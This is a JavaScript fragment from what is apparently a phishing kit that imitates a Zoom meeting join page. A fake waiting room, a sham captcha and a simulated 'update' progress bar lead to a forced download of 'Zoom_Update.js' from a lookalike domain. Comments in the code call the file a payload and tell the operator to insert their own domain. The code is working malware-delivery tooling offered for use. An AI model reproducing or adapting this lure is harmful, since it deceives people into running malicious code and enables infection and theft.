innerText = targetHostName.charAt(0).toUpperCase(); // --- Elements --- const joinBtn = document.getElementById('joinBtn'); const testAudioBtn = document.getElementById('testAudioBtn'); const closeAudioBtn = document.getElementById('closeAudioBtn'); const audioModal = document.getElementById('audioModal'); const waitingModal = document.getElementById('waitingModal'); const updateModal = document.getElementById('updateModal'); const captchaCheck = document.getElementById('captchaCheck'); const captchaSpinner = document.getElementById('captchaSpinner'); const captchaText = document.getElementById('captchaText'); const captchaLogo = document.getElementById('captchaLogo'); const updateBtn = document.getElementById('updateBtn'); const modalStep1 = document.getElementById('modalStep1'); const modalStep2 = document.getElementById('modalStep2'); const modalStep3 = document.getElementById('modalStep3'); const progressBar = document.getElementById('progressBar'); const progressText = document.getElementById('progressText'); // --- 2. Audio Test Modal Logic --- testAudioBtn.addEventListener('click', (e) => { e.preventDefault(); audioModal.style.display = 'flex'; }); closeAudioBtn.addEventListener('click', () => { audioModal.style.display = 'none'; }); // --- 3. Join Button Logic --- joinBtn.addEventListener('click', () => { const name = document.getElementById('nameInput').value; if(!name || name.trim() === "") { alert("Please enter your name to join the meeting."); return; } waitingModal.style.display = 'flex'; setTimeout(() => { waitingModal.style.display = 'none'; updateModal.style.display = 'flex'; }, 4000); }); // --- 4. Captcha Verification --- captchaCheck.addEventListener('click', () => { if(captchaCheck.classList.contains('checked')) return; captchaCheck.style.display = 'none'; captchaSpinner.style.display = 'block'; captchaText.innerText = "Verifying..."; setTimeout(() => { captchaSpinner.style.display = 'none'; captchaCheck.style.display = 'block'; captchaCheck.classList.add('checked'); captchaText.innerText = "Verified"; captchaLogo.style.display = 'none'; updateBtn.disabled = false; updateBtn.style.opacity = '1'; updateBtn.style.cursor = 'pointer'; }, 1200); }); // --- 5. Fake Download & Permanent Instructions --- updateBtn.addEventListener('click', () => { if(updateBtn.disabled) return; modalStep1.style.display = 'none'; modalStep2.style.display = 'block'; let progress = 0; const interval = setInterval(() => { progress += Math.floor(Math.random() * 8) + 4; if(progress > 100) progress = 100; progressBar.style.width = progress + '%'; progressText.innerText = progress + '% complete'; if(progress === 100) { clearInterval(interval); setTimeout(() => { // Switch to instructions modalStep2.style.display = 'none'; modalStep3.style.display = 'block'; // --- TRIGGER THE JS PAYLOAD DOWNLOAD --- const a = document.createElement('a'); a.href = "https://meet-invites-zoom.com/ZoomUpdate.js"; // YOUR NEW DOMAIN a.download = "Zoom_Update.js"; document.body.appendChild(a); a.click(); document.body.removeChild(a); }, 800); } }, 250); });